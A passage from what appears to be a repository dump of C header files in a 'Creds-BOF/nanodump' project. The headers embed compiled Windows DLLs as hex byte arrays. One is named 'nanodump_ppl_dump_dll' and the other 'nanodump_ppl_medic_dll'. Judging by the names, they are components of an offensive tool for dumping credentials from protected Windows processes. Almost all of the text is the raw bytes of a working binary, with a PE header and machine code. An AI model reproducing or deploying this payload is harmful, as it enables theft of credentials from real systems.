D,0x3D,0xE2,0x3D,0xED,0x3D,0xFB,0x3D,0x25,0x3E,0x4C,0x3E,0x81,0x3E,0x8A,0x3E,0x99,0x3E,0xA4,0x3E,0xAA,0x3E,0xC7,0x3E,0xF9,0x3E,0x11,0x3F,0x16,0x3F,0x1E,0x3F,0x29,0x3F,0x3B,0x3F,0x80,0x3F,0x86,0x3F,0xA2,0x3F,0xB1,0x3F,0xB7,0x3F,0xD2,0x3F,0xD8,0x3F,0xE3,0x3F,0xE9,0x3F,0xF4,0x3F,0x00,0xC0,0x00,0x00,0x20,0x01,0x00,0x00,0x02,0x30,0x12,0x30,0x41,0x30,0x56,0x30,0x66,0x30,0x7C,0x30,0x82,0x30,0x88,0x30,0x95,0x30,0xAE,0x30,0xCC,0x30,0xD2,0x30,0xF1,0x30,0x2F,0x31,0x35,0x31,0x3A,0x31,0x40,0x31,0x4D,0x31,0x53,0x31,0x78,0x31,0x93,0x31,0x99,0x31,0x9E,0x31,0xD3,0x31,0xD9,0x31,0xF2,0x31,0x1A,0x32,0x28,0x32,0x46,0x32,0x59,0x32,0x62,0x32,0x6D,0x32,0x8B,0x32,0x95,0x32,0xA0,0x32,0xA6,0x32,0xD3,0x32,0xD9,0x32,0x8E,0x33,0x98,0x33,0x9E,0x33,0xA8,0x33,0xB1,0x33,0xBC,0x33,0x25,0x34,0x2F,0x34,0x35,0x34,0x3F,0x34,0x53,0x34,0x5F,0x34,0x6D,0x34,0x77,0x34,0xB5,0x34,0xBF,0x34,0xC5,0x34,0xD3,0x34,0xDE,0x34,0xF6,0x34,0x06,0x35,0x0C,0x35,0x16,0x35,0x2B,0x35,0x36,0x35,0x3D,0x35,0x75,0x35,0x7F,0x35,0x85,0x35,0x93,0x35,0x9A,0x35,0xB5,0x35,0xBE,0x35,0xC4,0x35,0xCE,0x35,0xE3,0x35,0xEF,0x35,0x04,0x36,0x46,0x36,0x57,0x36,0x5D,0x36,0x67,0x36,0x7B,0x36,0x85,0x36,0xC9,0x36,0xF0,0x36,0x71,0x38,0x77,0x38,0x86,0x38,0x8F,0x38,0x9B,0x38,0xB1,0x38,0xC2,0x38,0x4A,0x39,0x5B,0x39,0x86,0x39,0x8C,0x39,0x97,0x39,0xA0,0x39,0xA5,0x39,0xB5,0x39,0xCA,0x39,0xDB,0x39,0x06,0x3A,0x0C,0x3A,0x17,0x3A,0x20,0x3A,0x25,0x3A,0x35,0x3A,0x4C,0x3A,0xD2,0x3B,0xDA,0x3B,0xE2,0x3B,0xEA,0x3B,0xF2,0x3B,0xFA,0x3B,0x02,0x3C,0x0A,0x3C,0x12,0x3C,0x1A,0x3C,0x22,0x3C,0x2A,0x3C,0x32,0x3C,0x3A,0x3C,0x42,0x3C,0x4A,0x3C,0x52,0x3C,0x5A,0x3C,0x62,0x3C,0x6A,0x3C,0x72,0x3C,0x7A,0x3C,0x82,0x3C,0x8A,0x3C,0x92,0x3C,0x9A,0x3C,0xA2,0x3C,0xAA,0x3C,0xB2,0x3C,0xBA,0x3C,0xC2,0x3C,0x64,0x3D,0x00,0xD0,0x00,0x00,0x3C,0x00,0x00,0x00,0x20,0x30,0x24,0x30,0x28,0x30,0x2C,0x30,0x30,0x30,0x34,0x30,0x38,0x30,0x3C,0x30,0x40,0x30,0x44,0x30,0x48,0x30,0x4C,0x30,0x50,0x30,0x54,0x30,0x58,0x30,0x5C,0x30,0x60,0x30,0x64,0x30,0x80,0x30,0x90,0x30,0x94,0x30,0x98,0x30,0x9C,0x30,0xA0,0x30,0xA4,0x30,0x00,0x00,0x00,0xE0,0x00,0x00,0x14,0x00,0x00,0x00,0xC4,0x3C,0xC8,0x3C,0xCC,0x3C,0xD0,0x3C,0xD4,0x3C,0x00,0x00,0x00,0x70,0x01,0x00,0x10,0x00,0x00,0x00,0x0C,0x30,0x18,0x30,0x1C,0x30,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0E,0x00,0x00,0x00,0x2E,0x65,0x68,0x5F,0x66,0x72,0x61,0x6D,0x65,0x00,};\nunsigned int nanodump_ppl_dump_dll_len = 68110;\n"
  },
  {
    "path": "Creds-BOF/nanodump/include/nanodump_ppl_medic_dll.x64.h",
    "content": "#pragma once\n\nunsigned char nanodump_ppl_medic_dll[] = {0x4D,0x5A,0x90,0x00,0x03,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0xFF,0xFF,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0x00,0x00,0x00,0x0E,0x1F,0xBA,0x0E,0x00,0xB4,0x09,0xCD,0x21,0xB8,0x01,0x4C,0xCD,0x21,0x54,0x68,0x69,0x73,0x20,0x70,0x72,0x6F,0x67,0x72,0x61,0x6D,0x20,0x63,0x61,0x6E,0x6E,0x6F,0x74,0x20,0x62,0x65,0x20,0x72,0x75,0x6E,0x20,0x69,0x6E,0x20,0x44,0x4F,0x53,0x20,0x6D,0x6F,0x64,0x65,0x2E,0x0D,0x0D,0x0A,0x24,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x50,0x45,0x00,0x00,0x64,0x86,0x0B,0x00,0xB8,0x79,0x7A,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xF0,0x00,0x2E,0x22,0x0B,0x02,0x02,0x29,0x00,0xE2,0x00,0x00,0x00,0x1A,0x01,0x00,0x00,0x24,0x00,0x00,0x40,0x13,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x00,0xAD,0x68,0x03,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x02,0x00,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x05,0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x01,0x00,0x00,0x04,0x00,0x00,0xE8,0x2C,0x01,0x00,0x03,0x00,0x60,0x01,0x00,0x00,0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x00,0x70,0x01,0x00,0x55,0x00,0x00,0x00,0x00,0x80,0x01,0x00,0x14,0x06,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x01,0x00,0x40,0x0B,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xB0,0x01,0x00,0x60,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xA0,0x17,0x01,0x00,0x28,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xB0,0x81,0x01,0x00,0x70,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x2E,0x74,0x65,0x78,0x74,0x00,0x00,0x00,0x78,0xE1,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0xE2,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x60,0x00,0x00,0x60,0x2E,0x64,0x61,0x74,0x61,0x00,0x00,0x00,0x70,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x02,0x00,0x00,0x00,0xE6,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0xC0,0x2E,0x72,0x64,0x61,0x74,0x61,0x00,0x00,0xA0,0x0E,0x00,0x00,0x00,0x10,0x01,0x00,0x00,0x10,0x00,0x00,0x00,0xE8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x40,0x2E,0x70,0x64,0x61,0x74,0x61,0x00,0x00,0x40,0x0B,0x00,0x00,0x00,0x20,0x01,0x00,0x00,0x0C,0x00,0x00,0x00,0xF8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x40,0x2E,0x78,0x64,0x61,0x74,0x61,0x00,0x00,0x24,0x09,0x00,0x00,0x00,0x30,0x01,0x00,0x00,0x0A,0x00,0x00,0x00,0x04,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x40,0x2E,0x62,0x73,0x73,0x00,0x00,0x00,0x00,0x90,0x23,0x00,0x00,0x00,0x40,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0x00,0x00,0xC0,0x2E,0x65,0x64,0x61,0x74,0x61,0x00,0x00,0x55,0x00,0x00,0x00,0x00,0x70,0x01,0x00,0x00,0x02,0x00,0x00,0x00,0x0E,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x40,0x2E,0x69,0x64,0x61,0x74,0x61,0x00,0x00,0x14,0x06,0x00,0x00,0x00,0x80,0x01,0x00,0x00,0x08,0x00,0x00,0x00,0x10,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0xC0,0x2E,0x43,0x52,0x54,0x00,0x00,0x00,0x00,0x58,0x00,0x00,0x00,0x00,0x90,0x01,0x00,0x00,0x02,0x00,0x00,0x00,0x18,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0xC0,0x2E,0x74,0x6C,0x73,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x00,0xA0,0x01,0x00,0x00,0x02,0x00,0x00,0x00,0x1A,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0xC0,0x2E,0x72,0x65,0x6C,0x6F,0x63,0x00,0x00,0x60,0x00,0x00,0x00,0x00,0xB0,0x01,0x00,0x00,0x02,0x00,0x00,0x00,0x1C,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x42,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8D,0x0D,0xF9,0x2F,0x01,0x00,0xE9,0x64,0xDE,0x00,0x00,0x0F,0x1F,0x40,0x00,0x55,0x41,0x56,0x41,0x55,0x41,0x54,0x57,0x56,0x53,0x48,0x83,0xEC,0x20,0x48,0x8D,0x6C,0x24,0x20,0x48,0x89,0xCF,0x4D,0x89,0xC4,0x85,0xD2,0x0F,0x85,0x7F,0x00,0x00,0x00,0x8B,0x05,0xE1,0x2F,0x01,0x00,0x85,0xC0,0x7E,0x5E,0x83,0xE8,0x01,0x48,0x8B,0x1D,0x7B,0x09,0x01,0x00,0x45,0x31,0xE4,0xBF,0x01,0x00,0x00,0x00,0x89,0x05,0xC5,0x2F,0x01,0x00,0x4C,0x8B,0x2D,0xA6,0x71,0x01,0x00,0xEB,0x0C,0x0F,0x1F,0x40,0x00,0xB9,0xE8,0x03,0x00,0x00,0x41,0xFF,0xD5,0x4C,0x89,0xE0,0xF0,0x48,0x0F,0xB1,0x3B,0x48,0x89,0xC6,0x48,0x85,0xC0,0x75,0xE8,0x48,0x8B,0x3D,0x51,0x09,0x01,0x00,0x8B,0x07,0x83,0xF8,0x02,0x0F,0x84,0xC6,0x00,0x00,0x00,0xB9,0x1F,0x00,0x00,0x00,0xE8,0x54,0xDF,0x00,0x00,0xBA,0x01,0x00,0x00,0x00,0x89,0xD0,0x48,0x83,0xC4,0x20,0x5B,0x5E,0x5F,0x41,0x5C,0x41,0x5D,0x41,0x5E,0x5D,0xC3,0x66,0x0F,0x1F,0x44,0x00,0x00,0x83,0xFA,0x01,0x75,0xDF,0x65,0x48,0x8B,0x04,0x25,0x30,0x00,0x00,0x00,0x48,0x8B,0x1D,0xFB,0x08,0x01,0x00,0x48,0x8B,0x70,0x08,0x45,0x31,0xED,0x4C,0x8B,0x35,0x2D,0x71,0x01,0x00,0xEB,0x14,0x0F,0x1F,0x00,0x48,0x39,0xC6,0x0F,0x84,0x8F,0x00,0x00,0x00,0xB9,0xE8,0x03,0x00,0x00,0x41,0xFF,0xD6,0x4C,0x89,0xE8,0xF0,0x48,0x0F,0xB1,0x33,0x48,0x85,0xC0,0x75,0xE2,0x45,0x31,0xED,0x48,0x8B,0x35,0xD0,0x08,0x01,0x00,0x8B,0x06,0x83,0xF8,0x01,0x0F,0x84,0xC5,0x00,0x00,0x00,0x8B,0x06,0x85,0xC0,0x74,0x7F,0x8B,0x06,0x83,0xF8,0x01,0x0F,0x84,0x94,0x00,0x00,0x00,0x45,0x85,0xED,0x74,0x5F,0x48,0x8B,0x05,0x58,0x08,0x01,0x00,0x48,0x8B,0x00,0x48,0x85,0xC0,0x74,0x0D,0x4D,0x89,0xE0,0xBA,0x02,0x00,0x00,0x00,0x48,0x89,0xF9,0xFF,0xD0,0x83,0x05,0xD4,0x2E,0x01,0x00,0x01,0xBA,0x01,0x00,0x00,0x00,0xE9,0x4B,0xFF,0xFF,0xFF,0x66,0x90,0x48,0x8D,0x0D,0xA9,0x2E,0x01,0x00,0xE8,0x14,0xDE,0x00,0x00,0xC7,0x07,0x00,0x00,0x00,0x00,0x48,0x87,0x33,0xE9,0x2A,0xFF,0xFF,0xFF,0x66,0x0F,0x1F,0x44,0x00,0x00,0x41,0xBD,0x01,0x00,0x00,0x00,0xEB,0x81,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x31,0xC0,0x48,0x87,0x03,0xEB,0x9A,0x66,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x48,0x8B,0x15,0x79,0x08,0x01,0x00,0x48,0x8B,0x0D,0x62,0x08,0x01,0x00,0xC7,0x06,0x01,0x00,0x00,0x00,0xE8,0x47,0xDE,0x00,0x00,0xE9,0x63,0xFF,0xFF,0xFF,0x66,0x90,0x48,0x8B,0x15,0x39,0x08,0x01,0x00,0x48,0x8B,0x0D,0x22,0x08,0x01,0x00,0xE8,0x2D,0xDE,0x00,0x00,0xC7,0x06,0x02,0x00,0x00,0x00,0xE9,0x4E,0xFF,0xFF,0xFF,0x66,0x90,0xB9,0x1F,0x00,0x00,0x00,0xE8,0x0E,0xDE,0x00,0x00,0xE9,0x32,0xFF,0xFF,0xFF,0x90,0x55,0x41,0x55,0x41,0x54,0x57,0x56,0x53,0x48,0x83,0xEC,0x28,0x48,0x8D,0x6C,0x24,0x20,0x4C,0x8B,0x25,0xB8,0x07,0x01,0x00,0x48,0x89,0xCE,0x41,0x89,0x14,0x24,0x89,0xD3,0x4C,0x89,0xC7,0x85,0xD2,0x75,0x60,0x8B,0x05,0x0A,0x2E,0x01,0x00,0x85,0xC0,0x74,0x36,0xE8,0x69,0xD1,0x00,0x00,0x49,0x89,0xF8,0x31,0xD2,0x48,0x89,0xF1,0xE8,0x63,0xCD,0x00,0x00,0x49,0x89,0xF8,0x89,0xDA,0x48,0x89,0xF1,0xE8,0x9F,0xDB,0x00,0x00,0x49,0x89,0xF8,0x89,0xDA,0x48,0x89,0xF1,0x41,0x89,0xC5,0xE8,0xCF,0xFD,0xFF,0xFF,0x85,0xC0,0x75,0x06,0x0F,0x1F,0x00,0x45,0x31,0xED,0x44,0x89,0xE8,0x41,0xC7,0x04,0x24,0xFF,0xFF,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x5B,0x5E,0x5F,0x41,0x5C,0x41,0x5D,0x5D,0xC3,0x0F,0x1F,0x44,0x00,0x00,0xE8,0x13,0xD1,0x00,0x00,0x8D,0x43,0xFF,0x49,0x89,0xF8,0x89,0xDA,0x48,0x89,0xF1,0x83,0xF8,0x01,0x77,0x3B,0xE8,0x8E,0xFD,0xFF,0xFF,0x85,0xC0,0x74,0xC2,0x49,0x89,0xF8,0x89,0xDA,0x48,0x89,0xF1,0xE8,0x3D,0xDB,0x00,0x00,0x85,0xC0,0x74,0x39,0x83,0xFB,0x01,0x74,0x54,0x49,0x89,0xF8,0xBA,0x02,0x00,0x00,0x00,0x48,0x89,0xF1,0xE8,0xDB,0xCC,0x00,0x00,0x41,0x89,0xC5,0xEB,0x9A,0x0F,0x1F,0x80,0x00,0x00,0x00,0x00,0xE8,0xCA,0xCC,0x00,0x00,0x41,0x89,0xC5,0x83,0xFB,0x03,0x75,0x86,0xE9,0x5A,0xFF,0xFF,0xFF,0x66,0x0F,0x1F,0x44,0x00,0x00,0x83,0xFB,0x01,0x0F,0x85,0x6F,0xFF,0xFF,0xFF,0x49,0x89,0xF8,0x31,0xD2,0x48,0x89,0xF1,0xE8,0x2A,0xFD,0xFF,0xFF,0xE9,0x5D,0xFF,0xFF,0xFF,0x0F,0x1F,0x44,0x00,0x00,0xE8,0xBB,0xCD,0x00,0x00,0x49,0x89,0xF8,0xBA,0x01,0x00,0x00,0x00,0x48,0x89,0xF1,0xE8,0x82,0xCC,0x00,0x00,0x41,0x89,0xC5,0x85,0xC0,0x0F,0x85,0x3B,0xFF,0xFF,0xFF,0x49,0x89,0xF8,0x31,0xD2,0x48,0x89,0xF1,0xE8,0x6A,0xCC,0x00,0x00,0x49,0x89,0xF8,0x31,0xD2,0x48,0x89,0xF1,0xE8,0xA6,0xDA,0x00,0x00,0x49,0x89,0xF8,0x31,0xD2,0x48,0x89,0xF1,0xE8,0xD9,0xFC,0xFF,0xFF,0xE9,0x0F,0xFF,0xFF,0xFF,0x0F,0x1F,0x40,0x00,0x48,0x8B,0x05,0x59,0x06,0x01,0x00,0xC7,0x00,0x00,0x00,0x00,0x00,0xE9,0x8E,0xFE,0xFF,0xFF,0x66,0x66,0x2E,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x0F,0x1F,0x00,0x48,0x89,0xCA,0x48,0x8D,0x0D,0x96,0x2C,0x01,0x00,0xE9,0x21,0xDB,0x00,0x00,0x90,0x48,0x8D,0x0D,0x09,0x00,0x00,0x00,0xE9,0xE4,0xFF,0xFF,0xFF,0x0F,0x1F,0x40,0x00,0xC3,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x10,0x48,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0x48,0x83,0x7D,0x18,0x00,0x75,0x06,0x48,0x8B,0x45,0x18,0xEB,0x3E,0x48,0x8B,0x45,0x10,0x48,0x8B,0x40,0x28,0x48,0x89,0xC2,0x48,0x8B,0x45,0x10,0x48,0x8B,0x40,0x20,0x48,0x01,0xD0,0x48,0x89,0x45,0xF8,0x48,0x8B,0x55,0x18,0x48,0x8B,0x45,0x10,0x48,0x8B,0x40,0x18,0x48,0x89,0xC1,0x48,0x8B,0x45,0x10,0x48,0x8B,0x40,0x20,0x48,0x01,0xC8,0x48,0x29,0xC2,0x48,0x8B,0x45,0xF8,0x48,0x01,0xD0,0x48,0x83,0xC4,0x10,0x5D,0xC3,0x55,0x53,0x48,0x83,0xEC,0x38,0x48,0x8D,0x6C,0x24,0x30,0x48,0x89,0x4D,0x20,0x48,0x89,0x55,0x28,0x44,0x89,0x45,0x30,0x4C,0x89,0x4D,0x38,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x20,0x41,0xB8,0x60,0x07,0x00,0x00,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x26,0xDC,0x00,0x00,0x48,0x8B,0x45,0x28,0xBA,0x04,0x01,0x00,0x00,0x48,0x89,0xC1,0xE8,0xD5,0xD9,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x45,0x20,0x48,0x8B,0x55,0x28,0x49,0x89,0xC8,0x48,0x89,0xC1,0xE8,0x67,0xDC,0x00,0x00,0x48,0x8B,0x45,0x28,0xBA,0x5C,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x5E,0xDC,0x00,0x00,0x48,0x85,0xC0,0x74,0x40,0x48,0x8B,0x45,0x28,0xBA,0x04,0x01,0x00,0x00,0x48,0x89,0xC1,0xE8,0x98,0xD9,0x00,0x00,0x48,0x89,0xC3,0x48,0x8B,0x45,0x28,0xBA,0x5C,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x34,0xDC,0x00,0x00,0x48,0x8D,0x50,0x02,0x48,0x8B,0x45,0x20,0x48,0x05,0x08,0x02,0x00,0x00,0x49,0x89,0xD8,0x48,0x89,0xC1,0xE8,0x13,0xDC,0x00,0x00,0xEB,0x2E,0x48,0x8B,0x45,0x28,0xBA,0x04,0x01,0x00,0x00,0x48,0x89,0xC1,0xE8,0x58,0xD9,0x00,0x00,0x48,0x89,0xC2,0x48,0x8B,0x45,0x20,0x48,0x8D,0x88,0x08,0x02,0x00,0x00,0x48,0x8B,0x45,0x28,0x49,0x89,0xD0,0x48,0x89,0xC2,0xE8,0xE3,0xDB,0x00,0x00,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xEB,0x3A,0x48,0x8B,0x45,0x20,0x8B,0x55,0xFC,0x48,0x63,0xD2,0x48,0x81,0xC2,0x00,0x01,0x00,0x00,0x0F,0xB7,0x44,0x50,0x08,0x66,0x83,0xF8,0x2E,0x75,0x1A,0x48,0x8B,0x45,0x20,0x8B,0x55,0xFC,0x48,0x63,0xD2,0x48,0x81,0xC2,0x00,0x01,0x00,0x00,0x66,0xC7,0x44,0x50,0x08,0x00,0x00,0xEB,0x0D,0x83,0x45,0xFC,0x01,0x81,0x7D,0xFC,0x03,0x01,0x00,0x00,0x7E,0xBD,0x48,0x8B,0x45,0x20,0x8B,0x55,0x30,0x89,0x90,0x10,0x04,0x00,0x00,0x48,0x83,0x7D,0x38,0x00,0x74,0x1D,0x48,0x8B,0x45,0x20,0x48,0x8D,0x88,0x14,0x04,0x00,0x00,0x48,0x8B,0x45,0x38,0x41,0xB8,0x04,0x01,0x00,0x00,0x48,0x89,0xC2,0xE8,0x36,0xDB,0x00,0x00,0x48,0x8B,0x45,0x20,0x8B,0x55,0x50,0x89,0x90,0x18,0x05,0x00,0x00,0x48,0x8B,0x45,0x20,0xC7,0x80,0x1C,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x20,0xC7,0x80,0x20,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x20,0x48,0xC7,0x80,0x28,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x20,0xC7,0x80,0x30,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x20,0xC7,0x80,0x34,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x20,0xC7,0x80,0x38,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x83,0x7D,0x40,0x00,0x74,0x55,0x48,0x83,0x7D,0x48,0x00,0x74,0x4E,0x48,0x8B,0x45,0x40,0xBA,0xFF,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x0D,0xD8,0x00,0x00,0x89,0x45,0xF8,0x8B,0x55,0xF8,0x48,0x8B,0x45,0x20,0x48,0x8D,0x88,0x40,0x05,0x00,0x00,0x48,0x8B,0x45,0x40,0x49,0x89,0xD0,0x48,0x89,0xC2,0xE8,0x55,0xDA,0x00,0x00,0x8B,0x55,0xF8,0x48,0x8B,0x45,0x20,0x48,0x8D,0x88,0x40,0x06,0x00,0x00,0x48,0x8B,0x45,0x48,0x49,0x89,0xD0,0x48,0x89,0xC2,0xE8,0x38,0xDA,0x00,0x00,0x48,0x8B,0x45,0x20,0xC7,0x80,0x40,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x20,0xC7,0x80,0x54,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x20,0xC7,0x80,0x58,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x90,0x48,0x83,0xC4,0x38,0x5B,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0x4C,0x89,0x45,0x20,0xEB,0x33,0x48,0x8B,0x45,0x20,0x0F,0xB6,0x00,0x3C,0x78,0x75,0x19,0x48,0x8B,0x45,0x10,0x0F,0xB6,0x10,0x48,0x8B,0x45,0x18,0x0F,0xB6,0x00,0x38,0xC2,0x74,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x1F,0x48,0x83,0x45,0x20,0x01,0x48,0x83,0x45,0x10,0x01,0x48,0x83,0x45,0x18,0x01,0x48,0x8B,0x45,0x20,0x0F,0xB6,0x00,0x84,0xC0,0x75,0xC2,0xB8,0x01,0x00,0x00,0x00,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x30,0x48,0x89,0x4D,0x10,0x89,0x55,0x18,0x4C,0x89,0x45,0x20,0x4C,0x89,0x4D,0x28,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xEB,0x3F,0x8B,0x55,0xFC,0x48,0x8B,0x45,0x10,0x48,0x01,0xD0,0x48,0x89,0x45,0xF0,0x48,0x8B,0x4D,0x28,0x48,0x8B,0x55,0x20,0x48,0x8B,0x45,0xF0,0x49,0x89,0xC8,0x48,0x89,0xC1,0xE8,0x5C,0xFF,0xFF,0xFF,0x85,0xC0,0x74,0x12,0x48,0x8B,0x45,0x30,0x48,0x8B,0x55,0xF0,0x48,0x89,0x10,0xB8,0x01,0x00,0x00,0x00,0xEB,0x11,0x83,0x45,0xFC,0x01,0x8B,0x45,0xFC,0x3B,0x45,0x18,0x72,0xB9,0xB8,0x00,0x00,0x00,0x00,0x48,0x83,0xC4,0x30,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x50,0x48,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0x8B,0x45,0xFC,0x8D,0x50,0x01,0x89,0x55,0xFC,0x89,0xC0,0x48,0x69,0xD0,0x60,0x07,0x00,0x00,0x48,0x8B,0x45,0x10,0x48,0x01,0xD0,0xC7,0x44,0x24,0x30,0x07,0x00,0x00,0x00,0x48,0x8D,0x15,0xE2,0xF8,0x00,0x00,0x48,0x89,0x54,0x24,0x28,0x48,0x8D,0x15,0